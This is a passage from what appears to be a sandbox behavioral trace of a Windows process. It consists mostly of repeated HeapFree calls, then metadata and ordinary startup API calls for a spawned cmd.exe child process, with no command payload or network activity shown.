hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.192] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.195] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0189.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.343] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.362] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.363] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.363] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.364] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.364] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.366] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.367] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.367] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.368] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.368] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.368] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.369] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.370] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.731] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.734] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.734] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0189.734] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.944] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.944] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.946] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.946] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.947] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0189.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0189.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0189.957] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0189.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.973] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.974] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.975] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.976] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.976] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.977] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.977] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.978] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.979] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.979] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0189.981] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0190.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.112] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0190.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0190.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0190.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0190.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0190.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.171] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0190.171] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.172] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0190.179] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.180] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.182] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.184] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.184] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.185] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.186] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.186] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.187] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.187] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.187] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.188] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.188] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.188] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.189] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.189] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.190] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.204] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.205] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.205] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.207] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0190.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0190.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0190.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0190.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0190.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0190.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0190.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0190.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0190.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0190.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0190.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0190.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0190.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fa0720 | out: hHeap=0x420000) returned 1 Thread: id = 53 os_tid = 0xe20 Thread: id = 54 os_tid = 0xe24 Thread: id = 56 os_tid = 0xe38 Thread: id = 57 os_tid = 0xe3c Thread: id = 58 os_tid = 0xe40 Thread: id = 59 os_tid = 0xe44 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x54dcf000" os_pid = "0xdbc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdb0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xdc0 [0159.104] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff751500000 [0159.104] __set_app_type (_Type=0x1) [0159.104] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff751516d00) returned 0x0 [0159.104] __getmainargs (in: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210, _DoWildCard=0, _StartInfo=0x7ff75153921c | out: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210) returned 0 [0159.104] _onexit (_Func=0x7ff751517fd0) returned 0x7ff751517fd0 [0159.105] _onexit (_Func=0x7ff751517fe0) returned 0x7ff751517fe0 [0159.105] _onexit (_Func=0x7ff751517ff0) returned 0x7ff751517ff0 [0159.105] _onexit (_Func=0x7ff751518000) returned 0x7ff751518000 [0159.105] _onexit (_Func=0x7ff751518010) returned 0x7ff751518010 [0159.106] _onexit (_Func=0x7ff751518020) returned 0x7ff751518020 [0159.106] GetCurrentThreadId () returned 0xdc0 [0159.106] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdc0) returned 0x70 [0159.106] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff868d00000 [0159.106] GetProcAddress (hModule=0x7ff868d00000, lpProcName="SetThreadUILanguage") returned 0x7ff868d1a990 [0159.106] SetThreadUILanguage (LangId=0x0) returned 0x409 [0159.604] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0159.604] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x35b31ff6f8 | out: phkResult=0x35b31ff6f8*=0x0) returned 0x2 [0159.605] VirtualQuery (in: lpAddress=0x35b31ff6e4, lpBuffer=0x35b31ff660, dwLength=0x30 | out: lpBuffer=0x35b31ff660*(BaseAddress=0x35b31ff000, AllocationBase=0x35b3100000, AllocationProtect=0x4, __alignment1=0xffffe50e, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, 